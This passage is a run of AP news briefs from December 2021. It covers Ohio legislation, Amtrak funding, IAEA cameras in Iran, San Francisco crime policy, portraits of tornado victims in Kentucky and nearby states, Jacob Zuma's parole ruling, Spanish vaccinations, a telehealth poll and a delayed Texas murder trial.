gun rights in Ohio. The legislation, dubbed Constitutional Carry by its backers, was introduced by state Sen. Terry Johnson, a Republican from southern Ohios Scioto County. COLUMBUS, Ohio (AP) More Ohio dispensaries could sell medical marijuana, cultivators could grow more of it, and more conditions would qualify for using it under legislation passed Wednesday by the Republican-led state Senate. The measure also calls for regulation of medical marijuana dispensaries to move from the pharmacy board to a new Division of Marijuana Control in the Commerce Department. The legislation now moves to the state House. PORTLAND, Maine (AP) Twenty years after Amtraks first Downeaster set off into darkness and uncertainty on a cold December morning, theres now light at the end of the tunnel when it comes to passenger rail expansion projects thanks to the $1 trillion federal infrastructure bill. Rail service is getting its biggest boost since Amtraks creation including the lions share of up to $100 billion over the next five years. The money will fund major projects aimed at improving service in the Northeast corridor that have been in the works for years, before the coronavirus pandemic led millions of American commuters to began working from home. We need to make hay while the sun shines because weve never gotten that much money as an industry, said Sean Jeans-Gail, vice president of the Rail Passengers Association, a rail advocacy organization in Washington, D.C. Potential projects include a new Hudson River tunnel between New York and New Jersey, a new bridge between Washington, D.C., and Virginia, and a replacement for the Baltimore & Potomac tunnel. Outside of the Northeast, rail advocates look forward to the restoration of service connecting New Orleans and Mobile, Alabama, which was knocked offline by Hurricane Katrina in 2005. In Maine, for example, municipal leaders want to see the Downeaster's Boston-to-Brunswick service expanded to other parts of the state, and a bill signed by the governor would study the issue. When the Downeaster launched on Dec. 15, 2001, there was no guarantee that a rail link between Maine's biggest city, Portland, and New England's largest city would be a hit. Now it's viewed as one of Amtrak's most successful regional lines, setting annual ridership records between 2010 and 2019, and was later expanded northward to Brunswick, Maine. Despite ridership changes caused by COVID-19, Amtrak is optimistic about the future of passenger rail. It hopes to deliver more frequent rail service on existing routes and to expand service to more than 160 new communities and an additional 20 million passengers annually by 2035. The infrastructure bill provides a big down payment: $66 billion in guaranteed funds for passenger and freight rail over five years, part of which goes to Amtrak and part of which goes to the Federal Railroad Administration for discretionary grants. Additional annual appropriations would boost funding to about $100 billion if Congress provides funding at authorized levels. But the largest investment of its kind in Amtrak doesn't address all needs, said spokesperson Jason Abrams. Amtrak will continue to work with Congress and the Biden administration to secure a consistent funding stream to make rail a vital transportation option in this country, Abrams said. Jeans-Gail said a key will be prioritizing passenger rail lines that provide flexibility to serve a wider variety of passengers, beyond just commuters into central business districts. The Northern New England Passenger Rail Authority, which operates Amtrak's Downeaster, is also optimistic. The pandemic has scattered many workers farther away from city centers, making rail more attractive for them to get to work, while young adults who are less enamored with automobiles have embraced public transportation, said Patricia Quinn, NNEPRA's executive director. The pandemic has reset things. People are going to return. But theyre going to return differently, she said. The changes caused by the pandemic continue to make the Downeaster relevant. TEHRAN, Iran (AP) The United Nations' nuclear watchdog and Iran reached a deal Wednesday to reinstall cameras damaged at an Iranian site that manufactures centrifuge parts, though inspectors remain limited on what footage they can access. The agreement will see cameras put back at Karaj, which came under what Iran describes as a sabotage attack in June. Iran had since refused the International Atomic Energy Agency access to replace cameras damaged in the incident, part of an ongoing hard-line tact taken by Tehran at negotiations underway in Vienna over its tattered 2015 nuclear deal with world powers. Iranian media first reported the deal without citing a source. IAEA Director-General Rafael Mariano Grossi later tweeted out a statement detailing the arrangement. This is important for verification under the Iran nuclear deal, and work will continue to address other outstanding safeguards issues, Grossi wrote. The IAEA said the cameras would be reinstalled at Karaj in the coming days. Iranian Foreign Minister Hossein Amirabdollahian reportedly said earlier Wednesday that Iran had reached a good agreement with the IAEA. Tehran blamed the Karaj assault on Israel amid a widening regional shadow war since former President Donald Trump unilaterally withdrew America from Irans landmark nuclear accord with world powers. In an interview Tuesday with The Associated Press, Grossi warned that limited access to Karaj hurt international efforts to monitor Iran's program. If the international community through us, through the IAEA, is not seeing clearly how many centrifuges or what is the capacity that they may have ... what you have is a very blurred image, Grossi said. It will give you the illusion of the real image. But not the real image. This is why this is so important. Grossi also dismissed as simply absurd an Iranian allegation that saboteurs used the IAEAs cameras in the attack on the Karaj centrifuge site. Tehran has offered no evidence to support the claim, though its another sign of the friction between inspectors and Iran. As part of Wednesday's deal, the IAEA said it would make available a sample camera and related technical information to Iran for analysis by its relevant security and judiciary officials, in the presence of the agency inspectors. However, Iran still will keep all recordings from the cameras part of another ongoing dispute between the agency and Tehran sparked by the nuclear deal's collapse. The agency and Iran will continue to work on remaining outstanding safeguards issues with the aim of resolving them, the IAEA said. In an analysis, the Eurasia Group described Wednesday's development as Tehran agreeing to the bare minimum to avoid escalating the monitoring crisis. A number of questions remain unanswered, including how the IAEA will account for advanced centrifuge components produced during the monitoring gap, the political-risk consultancy group said. Negotiations continue in Vienna over trying to restore the nuclear deal. However, Iran under hard-line President Ebrahim Raisi has taken a maximalist position in negotiations. Anxiety is growing among European nations at the negotiating table. Without swift progress, in light of Irans fast-forwarding of its nuclear program, the (deal) will very soon become an empty shell, they recently warned. The U.S. has remained outside of direct talks since abandoning the accord. ___ Gambrell reported from Dubai, United Arab Emirates. SAN FRANCISCO (AP) The mayor of San Francisco on Tuesday announced even more initiatives aimed at curbing open drug use, brazen home break-ins and other criminal behavior that she says have made a mockery of the city's famed tolerance and compassion. Mayor London Breed said at a news conference attended by the police chief and other public safety personnel that she would introduce legislation to allow law enforcement real-time access to surveillance video in certain situations and to make it harder for people to sell stolen goods. She also announced emergency intervention to improve safety in the Tenderloin, one of the poorest and most drug-infested neighborhoods in San Francisco, where parents have pleaded for protection from drug dealers and violent street behavior. The neighborhood contains several government buildings, including City Hall. What Im proposing today, and what I will be proposing in the future will make a lot of people uncomfortable, and I dont care, said Breed, a Democrat. We are past the point where what we see is even remotely acceptable. She said it's time to get aggressive and less tolerant of all the bull- that has destroyed our city. The announcement follows a meeting the mayor had last week with Tenderloin families, as well as a report by The Associated Press describing the frustrations of some residents who say the city is in decline. They said despite San Francisco's wealth, city officials are not doing enough to keep streets cleared of human feces and trash, provide housing to people experiencing homelessness, and deter drug dealers. They are also upset that San Francisco public schools spent much of last year teaching remotely while neighboring districts and private schools within the city provided in-class instruction. Criminal justice advocates in favor of less incarceration say the media has been drumming up fear in a city where overall crime rates have declined in recent years. Increased enforcement, they say, only ends up harming the most vulnerable, including Black and homeless residents, without improving public safety. Similar debates are taking place across the country in liberal cities where the murder of George Floyd led to a surge of progressive activism that included calls to rethink the way cities deal with crime. Some cities where there were calls to defund the police, including Portland, Oregon, have moved in recent months to bolster police budgets. John Hamasaki, a San Francisco police commissioner and defense lawyer who is highly critical of extra policing and surveillance, said Tuesday that taxpayer money is better spent on services, treatment and housing. He said the city should open a supervised drug consumption site and act to treat addiction rather than using methods that will shove dealing into other neighborhoods. The situation in the Tenderloin isnt ultimately going to be solved through more policing, he said. "It seems like were doing the same dance over and over and expecting different results." But Randy Shaw, executive director of the Tenderloin Housing Clinic, which provides legal services and housing to low-income people, said more police patrols would deter dealers and make the neighborhood safer for residents. At the same time, he has heard the mayor's promises before and seen little concrete action. Im glad the mayors coming out like this, but its really actions speak louder than words, he said. We heard a lot of commitments, and now we have to make sure they happen. Breed has directed the citys Department of Emergency Management to lead the response in the Tenderloin, much like the agency coordinated efforts to address the pandemic. The department will, in part, streamline emergency medical calls, disrupt drug dealing and use, and clean up nasty streets, she said. And when I say nasty, full of feces and urine, that the Department of Public Works is cleaning every single day, but it comes back just a few hours later, she said. Breed said she would ask the Board of Supervisors for more money to pay for police overtime and to increase the department's budget. Legislative changes would also require the board's support, which is not guaranteed. San Francisco Police Chief Bill Scott said the criminal justice system has changed so that drug possession doesn't land a person in jail and that police now try to balance enforcement with offers of help to those suffering with addiction and homelessness. But at the end of the day, at the end of all of this people will not be allowed to smoke meth, to smoke fentanyl, to inject heroin in their arms in public spaces, he said. CHARLESTON, S.C. (AP) Scientists say they have confirmed the first three cases of the omicron coronavirus variant in South Carolina. Officials with the Medical University of South Carolina said Wednesday that the identified cases were all in the states Lowcountry region one each in Charleston, North Charleston and Johns Island. FRANKFORT, Ky. (AP) A nursing home worker from Kentucky who had "such a bright personality. Sisters from western Kentucky who worked at the only funeral home in their small town. A woman who had just recently been elected to a school board seat after years of working as a teacher's aide, school bus driver and finance director. A father and son from Florida who had traveled to Tennessee for a duck hunting trip. Portraits of the people killed by tornadoes that tore through the South and Midwest continued to emerge on Wednesday. President Joe Biden toured the devastation in Kentucky from the storms, which left at least 89 people dead across multiple states in the South and Midwest. The twisters cut a path of destruction that stretched from Arkansas, where a nursing home was destroyed, to Illinois, where an Amazon distribution center was heavily damaged. In Kentucky, 74 people died, and Gov. Andy Beshear said the death toll could grow. Here are some of the people who perished during the tornadoes. ___ At the Ridgewood Terrace Health and Rehabilitation nursing home in Madisonville, Kentucky, Claude Mitchell did more than just laundry. Whenever he stopped by residents rooms with clean clothes and fresh linens, he would say or do something to brighten their day. Claude took a liking to my mom, and he was the greatest joy in her day when he would come in and talk to her for a few minutes, said Jeannie Buckner, whose 97-year-old mother lives at Ridgewood Terrace. I cant even tell you how she lit up when he would come in. Residents and staff gathered outside the 110-bed nursing home Monday to release balloons into the air in memory of Mitchell. They learned over the weekend that the 65-year-old laundry worker was killed in the deadly storms that destroyed homes and buildings in nearby Dawson Springs, where he lived. Mitchell had worked for about six years at the nursing home, said Lauren Lloyd, the facilitys administrator. He would often stop by the nurses station and other gathering places for staff members, she said, asking co-workers how their day was going. Its just a deep loss for us to lose someone that had such a bright personality, Lloyd said. The staff are taking it hard. Buckner said Mitchell would often dote on her mother: letting her handle his gold necklaces and bracelets, bringing her candy bars and sometimes even spending his lunch breaks chatting in her room. I just cant say enough good about him, Buckner said. I never saw him in a bad mood. And when he was there, everybody seemed to be in a better mood. ___ In hard-hit Dawson Springs, Kentucky, the only funeral home in town was preparing for at least four funerals for storm victims including two sisters who had worked at the mortuary while also catching up on previously planned memorial services that were delayed by the massive storm, said funeral home owner and president Jenny Beshear Sewell. The sisters who had worked at the Beshear Funeral Home 80-year-old Carole Grisham and 72-year-old Marsha Hall decided to stay put in their home, which lacked a basement, as the tornado barreled down on the town, Sewell said in a phone interview Wednesday. As the tornado approached, Sewell texted Hall with an update on the storms path and to urge the sisters to take refuge in the funeral homes basement or a church basement. Hall replied OK," but that was the last Sewell heard from her. The sisters' home was demolished. Both Grisham and Hall had worked for years at the funeral home, as the sisters mother did before them. Hall was still a key staff member and had put in a hard day of work Friday, just hours before she died in the storm. She handled many of the organizational tasks at the mortuary while also meeting with families. Everybody just knew her, and between the two of us, really, we knew everybody, Sewell said. When somebody would pass away, and maybe the name was familiar but they didnt come up on my radar screen, Id say, Marsha, tell me the pedigree on this one. And she didnt have to tell me a person or two and I knew who it was. And I was the same way. Arrangements are still pending, but a double funeral is expected for the sisters, Sewell said. Roof damage to the funeral homes main chapel has been temporarily patched, and most utilities have been restored, though the home still lacks natural gas for heat, Sewell said. The funeral home has ties to Kentucky Gov. Andy Beshear and his father, former Gov. Steve Beshear. Steve Beshear's great-uncle started the home as a combination mortuary and furniture store in 1909, the former governor said. Jenny Beshear Sewell is a first cousin of the former governor. ___ Cory Mitchell Scott worked in construction and, according to his obituary, spent his spare time playing basketball, shooting guns, souping up trucks and listening to loud music. The coroner for Warren County, Kentucky, confirmed 27-year-old Scott of Bowling Green was killed at home as deadly tornadoes struck the Midwest and South. Scott inherited a love of woodworking from his father and had a job with a local contractor remodeling kitchens and bathrooms, building custom furniture and other construction projects, according to his obituary in the Bowling Green Daily News. He was the life of the party and loved getting his friends together more than anything, the obit said. A friend to Cory was family, and there was no such thing as a stranger to him. ___ Jeff and Jennifer Eckert divided their time between Kentucky and the Gulf coast of Florida, where he started a book publishing company near Sarasota in 1988. The couple from Dawson Springs, Kentucky, were identified by a county coroner as being among those who perished in the deadly tornado outbreak that devastated areas of the Midwest and South. Jeff Eckert, 70, was the founder of J.K. Eckert & Company, a company that published more than 400 books for some of the larger publishing houses, according to his obituary in The Messenger newspaper of Madisonville, Kentucky. He played music in several bands over the years and was a small aircraft pilot. Jennifer Eckert, 69, had worked in an optometrists office for 15 years, her obituary said. She loved to travel and host cookouts with family and friends. ___ Days after the tornadoes hit Tennessee, Sandy Gunn still clings to her phone, anxious for any news on a brother-in-law who is missing following a weekend duck hunting trip in the rural western region of the state. Gunn's brother, Steve, 50, and Steve Gunn's son, Grayson, 12, had traveled from Florida with a small group to stay at the Cypress Point Resort a popular destination for hunters and anglers due to its close location to the lake. One of the several tornadoes to hit Tennessee tore through the building in the middle of the night, sucking the father and son into the storm as they huddled in the second story. Their bodies were later found just a few feet away among the debris and uprooted trees. (Steve) could build a house from a matchbook, Sandy said in an interview with The Associated Press. You couldnt go to Walmart with him without a hundred people stopping him. His son was the kid you grew up dreaming to have. Adding to Gunn's heartbreak is her missing brother-in-law, Jamie Hall, who was also part of the hunting group. First responders, family members and residents have all jumped in to help find him, but to date, no progress has been made. Our world has been shattered, Gunn said. Im terrified each time I hear the phone ring. My brother-in-law was the kindest and most gentle man you would have ever known. A funeral for Steve and Grayson Gunn is scheduled for Saturday in Tallahassee, Florida. ___ By the time she won election to a vacant school board seat last year, Jenny Bruce had played a role at virtually every level in the small school district in Dawson Springs, Kentucky, where she had graduated from high school decades earlier. Jenny started out driving a bus and she was a teachers aide, and she gradually worked her way up to finance director, Dawson Springs School Superintendent Leonard Whalen recalled. She was some kind of lady. During the deadly tornado outbreak late Friday and early Saturday, 65-year-old Bruce was sheltering inside when a tornado obliterated her home, Whalen said. He said neighbors found her amid the wreckage. A county coroner later confirmed her death. Bruce had worked for the school system for roughly four decades before retiring about two years ago. Whalen helped persuade her to campaign for an empty seat on the five-member school board in 2020, and she ended up running unopposed. In her years working in the school districts administrative office, Whalen said, Bruce was universally liked, never saying an unkind word about anyone and often bringing cookies and other treats for co-workers to share. She was a Dawson Springs graduate and she loved our schools, Whalen said. She loved kids. ___ Kevin Dickey loved spending time with his family and stole the show and the hearts of his grandchildren anytime he was around, his family said in a statement. He also had a tight bond with his co-workers at Amazon, they said. Dickey, 62, was among six people killed when an Amazon warehouse in Edwardsville, Illinois, was struck. Authorities say both sides of the warehouse used to prepare orders for delivery collapsed inward and the roof caved. Rescuers had to pull survivors from the rubble. Dickeys daughter, Kristen Anastasi, told the Marion Republican that a co-worker said Dickey was trying to get people to safety and making sure his drivers were OK. She called his work ethic unmatched and said thats what the family would expect of him. Dad talked often about his co-workers and their daily stories. He had a great bond with many, the family said. ___ Douglas Koon, his wife, Jackie, and their three children huddled in his mother-in-laws bathroom in Dawson Springs, Kentucky, as the storms approached. The tornado hit the house directly, flinging the family around and tossing in the air a bathtub that was shielding two of his sons. The couple put their infant daughter, Oaklynn, in a car seat to protect her, and she appeared to be OK on Saturday. But by Sunday, the baby was having seizures, and doctors noticed a brain bleed after she was taken to the hospital. They believed she had a stroke, Koon said in a Facebook post. Early Monday morning, the family posted that the infant had died. In a text message to The Associated Press on Monday, Koon said he was struggling to process everything that Im going through. A family member has set up a GoFundMe account for Koons family and his mother-in-law, Sheila Rose, who lost her home. ___ Lisa Taylor had worked 14 years as a florist at the same family-owned shop in Memphis, Tennessee, when she left in October to start a new career at the airport with the Transportation Security Administration. Co-workers at Rachels Flowers congratulated her with balloons on a sign that read, Good Luck, Lisa. Taylor, 54, stayed in touch with her friends at the flower shop, making plans to return part time over the holidays to make some extra money. Then the phone rang Saturday, just as the power came back on at the shop after violent storms passed through overnight. Taylors longtime boyfriend was calling with tragic news. A large tree had fallen through her roof overnight, killing Taylor as she slept in bed. She had just gotten started on her new adventure and shes just been taken, said Angie Morton, who worked as a florist alongside Taylor for several years. A single mother of two children now in their 20s, Taylor took her new government job for higher wages and the extra stability that came with health insurance and other benefits, friends said. But she had a creative spark that made her a natural when it came to working with flowers, Morton said, whether she was helping grieving families design funeral arrangements or using bits and pieces of broken, castoff jewelry to add some custom sparkle to high school girls prom corsages. She really liked to bling everything up, Morton said. She would take stuff other people would throw in the trash and make beautiful things out of it. If she found an earring in a store that didnt have a matching pair, she would think, I know theres somebody who that would be perfect for her corsage. Charles Newell, deputy emergency management administrator for Shelby County, Tennessee, said she was the only known storm death in the county that includes Memphis. Rachel Greer, the flower shops owner, was helping plan floral arrangements for Taylors funeral. She said Taylors daughter had requested a sea of purple flowers such as lavender roses and chrysanthemums to match her mothers favorite color. Meanwhile customers were dropping by the shop to offer condolences and leaving notes. One of them read: Lisa was a light in a dark world. ___ Annistyn Rackley was an outgoing and energetic 9-year-old who loved swimming, dancing and cheerleading, according to her great-aunt Sandra Hooker. The two had become close over the past four years: Hooker offered the girl support during doctors visits and blood draws required by a rare liver condition that still didnt keep the southeastern Missouri girl from participating in activities. Annistyn, her parents and her two younger sisters took shelter Friday night in a windowless bathroom in their new home west of Caruthersville, Missouri. To prove theyd gotten to the familys safe space, the girls mom texted Hooker a photo of the three in and next to the bathtub all of them smiling, 9-year-old Annistyn holding her favorite doll. Fifteen minutes later, Sandra Hooker said, a tornado splintered the home, carrying the family members dozens of yards through the air into a field where first responders found them in mud. Annistyn died, and the others were injured. Hooker called Annistyn a special angel and said the girl delighted in donning outfits and makeup for cheer competitions and learning new dances from TikTok. She did cartwheels and splits in front of Hooker. I would just gasp because she could do the splits all the time, and she would just laugh, Hooker said. She loved dancing. Hooker teaches gifted students at the same elementary school where Meghan Rackley teaches kindergarten in Caruthersville, which is nestled next to the Mississippi River in whats known as Missouris Bootheel region. Hooker said Annistyns parents learned when she was 2 months old that she had a rare liver disorder in which bile ducts dont develop properly, sometimes making it hard to fight off illness. ___ Golden Wes Hembrey, 94, died when a tornado destroyed the nursing home where he lived in Monette, Arkansas. His nephew Mike Hembrey said the Korean War veteran and retired farmer had been in the nursing home since 2016 because of Alzheimers disease. But he remembered his uncle as engaged with his extended family throughout their younger years. He was outgoing, his nephew said. Hed be out in the yard playing with us. But dont make him mad. When he was mad, he was mad. He liked cutting up, telling jokes, said niece Kristie Carmichael. The Hembreys said Jimmie Hembrey had visited his brother the day before the tornado and found him to be in good health. ___ Graves County Deputy Jailer Robert Daniel was supervising inmate workers at a candle factory in Mayfield, Kentucky, when the tornado struck. His boss said Monday that Daniel had been focused on the prisoners in his care when he was killed. Daniel, 47, had worked at the county jail for a few years previously and was rehired a few months ago, said Graves County Jailer George Workman. The seven inmates whom Daniel was overseeing at the factory Friday night were part of a brand-new work program and had just begun their jobs three days earlier. After the storm hit, the inmates told Workmans deputies that it was Daniel who literally had pushed them all to safety, guiding them through a doorway and against a wall in an interior part of the plant. Workman said the last inmate through the door told deputies that Daniel was behind him one moment, and suddenly he was gone. He was physically still in the act of trying to get them to safety. And thats when it hit, Workman said. It takes a tremendous person to be able to lay their own life down for somebody else. But he did and he was doing it for the right reasons. All seven of the inmates in Daniels care survived, Workman said, with two of them suffering broken legs. A cousin, Mark Saxton Sr., said Daniel was a native of the Mayfield area, which was devastated by the storm. He loved his community, Saxton said. He was a great family man. Everybody who met him just loved him. Hes the type of person you want to be associated with. ___ Brian Crick, a judge for two western Kentucky counties, was known for his sound judgment when it came to solving problems, a fellow judge said. Crick, 43, was a district judge for Muhlenberg and McLean counties who handled criminal misdemeanor cases, traffic court and juvenile cases, said Circuit Judge Brian W. Wiggins. Wiggins said he had known his fellow judge since 2005, when Crick was a public defender. He later was in private practice before taking the bench in 2011. Many of the defendants who came before him werent represented by attorneys, and Crick was very good about seeing to it that their rights were protected, Wiggins said. He had a very common- sense approach. He was very level-headed about how to handle cases and how to talk to people. Wiggins was killed when the storm hit his familys home in Muhlenberg County. He is survived by a wife and three children, all of whom made it through the storm without major injuries, Wiggins said. He was just a consummate family man ... very engaged with his children and his wife. They were No. 1 to him. We are especially heartbroken to get the news, Kentucky Supreme Court Chief Justice John Minton said in a statement. This is a shocking loss to his family, his community and the court system and his family is in our prayers. ___ Two of June Penningtons children said the Manila, Arkansas, resident was devoted to her four children and nine grandchildren and had a particular soft spot for animals. Pennington, 52, was working as an assistant manager at a Dollar General store in nearby Leachville, Arkansas, when it was hit. She didnt love anything as much in life as her kids and grandkids, said Christie Pennington. She was truly selfless and loved wholeheartedly. David Benefield, the oldest of June Penningtons four children, said he was born when his mother was only 14. She was a kid raising a kid. We were just like best friends, he said. Its crazy how close you become. Her children remember her as someone who would do anything that we asked her to do, Benefield said. Even after her children were grown, they said June Pennington wanted to spend as much time with them as possible. Christie Pennington said her mother adopted dogs, cats, rabbits, birds, turtles and even a ferret. If there was ever an animal in need of a home, we took it in, she said. ___ Clayton Lynn Cope, 29, had been working at Amazon for more than a year before the storm killed him at a company facility in southwestern Illinois. Five other workers also died at the facility located outside St. Louis. Cope, who lived in nearby Alton, Illinois, had joined the Navy after graduating from high school and was an avid outdoorsman who also liked to ride motorcycles and play video games. He had a special place in his heart for his dog, Draco, said his younger sister, Rachel Cope. He would go out of his way for anyone, Cope said in a written message. ___ Ollie Borgmann, 84, was a sweet and typical grandmother who had lived in her home in Defiance, Missouri, for decades. A tornado blew through the home she shared with her 84-year-old husband, Vernon, on Friday night, blowing the house off its foundation, as well as that of a neighbors house in the town located about 40 miles (64 kilometers) west of St. Louis. Her son Mark Borgmann told the St. Louis Post-Dispatch that his brother, Keith, was on the phone with their father during the powerful storm when the line went dead. The next thing Vernon Borgmann remembers is waking up in a nearby field surrounded by debris. He suffered scratches and bruises but will be OK, said Mark Borgmann. When Ollie Borgmann was found by rescuers, she was awake. She died later at a hospital. ___ Bynum reported from Savannah, Georgia. Associated Press writers Kimberlee Kruesi and Travis Loller in Nashville, Tennessee; Dylan Lovan in Louisville, Kentucky; John Hanna in Topeka, Kansas; Terry Wallace in Dallas; Sophie Tareen in Chicago; Josh Funk in Omaha, Nebraska; Mike Schneider in Orlando, Florida; and Jeff Amy in Atlanta contributed to this report. JOHANNESBURG (AP) A South African court has ordered that former President Jacob Zuma should go back to prison after withdrawing the medical parole given to him earlier this year. Zuma was released from prison in September after serving about two months of his 15-month sentence for defying a Constitutional Court order that he should testify before a state commission investigating allegations of corruption when he was president from 2009 to 2018. On Wednesday the Gauteng High Court in Pretoria ruled that the medical parole granted to Zuma was illegal as it went against the recommendation of the medical parole board. The court ruled that Zuma should go back to prison. According to the ruling, the time that Zuma spent outside prison should not be counted as part of the sentence imposed by the court. The ruling is a legal blow for Zuma, who is also facing corruption charges for allegedly receiving bribes during the countrys controversial 1999 purchase of arms from French arms manufacturer Thales. Zumas imprisonment in July sparked protests by supporters who demanded his immediate pardon. The protests quickly descended into chaotic violence in which trucks were burned, shops and warehouses looted and burned. More than 300 people died in the country's worst violence since the end of apartheid in 1994. For more than a week the violence shook the Kwazulu-Natal and Gauteng provinces. Official statistics now estimate that the violence contributed to a 1.5% economic decline during that period. The correctional services department will only comment after studying the judgment, department spokesman Singabakho Nxuma told The Associated Press. Zuma's legal team is expected to appeal the decision but the Jacob Zuma Foundation has not yet spokesman Mzwanele Manyi could not be reached on Wednesday to indicate whether Zuma would appeal the ruling or would hand himself over to resume serving his sentence. MADRID (AP) Spanish health authorities are stepping up efforts to give out coronavirus vaccine shots before Christmas and end-of-the-year gatherings that usually bring large groups together. On Wednesday, the same day that the rollout of COVID-19 vaccines for 3.3 million children aged between 5 and 11 began across Spain and in other parts of the European Union, regional health authorities in Spain approved widening the scope of those eligible for a booster shot. After offering third doses to health workers, high-risk groups and those 60 and older during the past two months, Spain will start giving extra shots to people 50 and over, Health Minister Carolina Darias announced at a press conference late Wednesday. Earlier, during a visit to a school in central Spain where children and their families lined up for their first shots, Darias said vaccination should speed up ahead of the increase in mobility and social interaction around Christmas. Today is a day charged with emotion, the minister told reporters. Im satisfied and encouraged to see so many parents with their children here. Spaniards have displayed a strong vaccination acceptance, leading to nearly 90% of residents aged 12 or older being fully vaccinated. But children under 11, who represent about 7% of the population, are now believed to be one of the groups spreading most infections. The contagion rate among them 667 new cases per 100,000 children in two weeks is nearly 50% higher than the national average of 441 new cases. Their parents, many of them aged between 40 to 49, show the second-highest rate of infection, 550 new cases per 100,000 people in 14 days. On Wednesday, Spain reported 27,140 new daily infections, the highest number since the end of July, and 77 more COVID-19 deaths, although hospital admissions are growing at a slower pace than in previous virus surges. Spain has officially recorded 88,619 virus deaths since the beginning of the pandemic. ___ Follow APs pandemic coverage at https://apnews.com/hub/coronavirus-pandemic TUCSON, Ariz. (AP) A man who prompted a nationwide manhunt after escaping custody with his wife in 2019 reached a plea agreement Tuesday in a Tucson murder case. Prosecutors said 58-year-old Blane Barksdale pleaded guilty to second-degree murder in the death of Frank Bligh and is facing up to 22 years in prison. Barksdale has a sentencing status conference Jan. 10 in Pima County Superior Court. His 61-year-old wife, Susan Barksdale, pleaded guilty to manslaughter last month and could get between 7 and 21 years in prison when shes sentenced Jan. 14. The couple was charged in connection with the disappearance of 72-year-old Frank Bligh, whose Tucson home burned down in an April 2019 explosion and fire. Brent Mallard, the Barksdales nephew, has pleaded guilty to arson in the case and could get up to 12 years in prison when hes sentenced Jan. 28, according to prosecutors. Blighs body has never been found, but Tucson police classified it as a homicide case. Authorities obtained arrest warrants after discovering the Barksdales allegedly pawned guns that belonged to Bligh before they fled Arizona. The couple was arrested in New York by U.S. Marshals in May 2019, but escaped from a transport van during extradition to Tucson three months later. After avoiding capture for 16 days, the Barksdales were located in northern Arizona and taken back into custody. WASHINGTON (AP) Most older Americans have had to use telehealth during the COVID-19 pandemic and many were comfortable with it, but a new poll finds persistent concerns about issues like technology, the quality of care and patient privacy. Comfort levels with remote care can vary depending on factors like age, income level or race, according to the survey from The Associated Press-NORC Center for Public Affairs Research. Doctors, hospitals and other care providers had to cancel visits and surgeries and abruptly switch to remote care as the pandemic unfolded in early 2020. Many patients followed their doctors online and have continued to get care that way as coronavirus cases ebbed and flowed in subsequent waves. Telehealth involves patients and care providers connecting remotely through computers, tablets or phones. They often use video calls but also can trade emails or secure text messages. Sometimes both parties just talk on the phone without video. Since the pandemic started, 62% of adults age 50 and older have used some form of telehealth, the AP-NORC poll found. Patients most frequently used telehealth for consultations on medications, non-urgent health concerns, wellness checks or to continue with ongoing care to manage a chronic condition like diabetes. The ease of finding an appointment or meeting a specific provider and the chance to get an immediate response were the most common reasons respondents opted for telehealth. Roughly a third said each was a major factor and another third called them minor factors. A majority also cited avoiding COVID-19 exposure as a major or minor reason for seeking care through telehealth, with about a quarter calling it a major reason. Rosa Bivens became a remote care convert during the pandemic partly because it helped her avoid the virus. The 59-year-old Bivens also likes how telehealth allows her to stay connected to her doctor in Maryland while she's on a temporary work assignment in Germany. Bivens is a military family life counselor, and she says her doctor back home understands the stress she faces in her job and how it affects her health. That personal relationship is important to me, she said. The poll found that those who received care through telehealth were generally comfortable with it. Roughly 6 in 10 said they were at least somewhat likely to seek such remote care after the pandemic ends. But many concerns remain. Chief among them is worry about receiving care that is not as effective as an in-person visit. Roughly two-thirds of older adults said they were at least somewhat concerned with that. Many also have some worry about not having a personal relationship with a doctor, running into information security or technical problems and a lack of privacy. Judy Ostrom, for instance, didnt use remote care during the pandemic and has no plans to start. You dont know who's walking in and out of the room where the doctor is, the 60-year-old resident of La Pine, Oregon, said. I love my family, but sometimes you want your conversation with your doctor to be confidential. Some concerns were more concentrated among adults age 65 and older. For example, those patients were more worried about not having a personal relationship with their doctor and not having the appropriate devices compared with people ages 50 to 64. Debra Nanez, 69, of Tucson, Arizona, said she sticks to audio-only telephone calls with her doctors when she does telehealth. The retired nurse worries about the security of any health information shed have to enter into a website to do other forms of telehealth. She also doesnt have a reliable way to do a video call. Sometimes my phone acts funny; it will work and then suddenly the phone will turn off, she said. Thats why Ill just do it telephonically. I have no problems with it. People making less than $50,000 are roughly three times as likely as those with higher incomes to feel that having a doctor provide the necessary devices for a telehealth visit would be very or extremely helpful. The poll also found that people with lower incomes are more likely to say it would be helpful if the doctor provided assistance in using the technology. Nonwhite respondents are especially likely to see telehealth as a way to avoid COVID-19 exposure. But they are also more concerned than white respondents about the security of their health information, both for telehealth and in-person care. The poll finds nonwhite older Americans are also especially concerned about meeting with a provider who does not understand their cultural preferences. Education about telehealth and a growing familiarity with the practice can help alleviate some of the lingering concerns patients have, according to Mei Kwong, executive director for the Center for Connected Health Policy. Kwongs California-based nonprofit researches and promotes the use of virtual technology in health care. She noted that once the pandemic started, the clinics and hospitals that were most successful in converting patients to remote care took the time to explain it and even do test runs before people made actual visits. But Kwong, who was not connected to the AP-NORC poll, noted that this sort of education wasnt widespread. Prior to the pandemic, telehealth was very niche, she said. Then when the pandemic hit, (patients) were just basically slapped in the face with it. Nobody really explained what it was. ___ Murphy reported from Indianapolis. ___ The AP-NORC poll of 1,000 adults age 50 and older was conducted between November 12-15 with funding from The SCAN Foundation. It used a sample drawn from NORCs probability-based Foresight 50+ Panel of adults age 50 and older, which is designed to represent the U.S. population. The margin of sampling error for all respondents is plus or minus 4.3 percentage points. FORT WORTH, Texas (AP) A Texas judge on Wednesday delayed the murder trial of a former police officer who is charged with fatally shooting a Black woman through a back window of her home in 2019. Aaron Dean's trial in the killing of 28-year-old Atatiana Jefferson in Fort Worth had been set for Jan. 10. Judge David Hagerman granted a defense motion to postpone it because two experts were unavailable to testify in January. Hagerman tentatively scheduled jury selection to begin on May 9 and opening statements on May 16. No further continuances will be granted in this case, Hagerman said. Any further pretrial motions, including a defense request to move the trial out of Tarrant County, are tentatively scheduled to be heard on May 2. The case has been repeatedly delayed since Dean shot Jefferson during a late-night wellness check at her mothers house. Many cases were delayed when the coronavirus pandemic caused courts across the country to postpone jury trials. Dean, 37, resigned from the city police force two days after shooting Jefferson. He was charged with murder and released on a $200,000 bond. Following the shooting, Fort Worth police released body camera footage that showed Dean walked around the side of the house, pushed through a gate into the fenced-off backyard and fired through a window a split-second after shouting at Jefferson to show her hands. Police went to the house after a neighbor called a non-emergency line to report that the front door was ajar. Dean, who is white, was not heard identifying himself as police on the video. The citys police chief at the time, Ed Kraus, said Dean acted without justification and that there was no sign he or the other officer who responded even knocked on the front door. Kraus said Dean would have been fired if he had not quit without giving a statement to 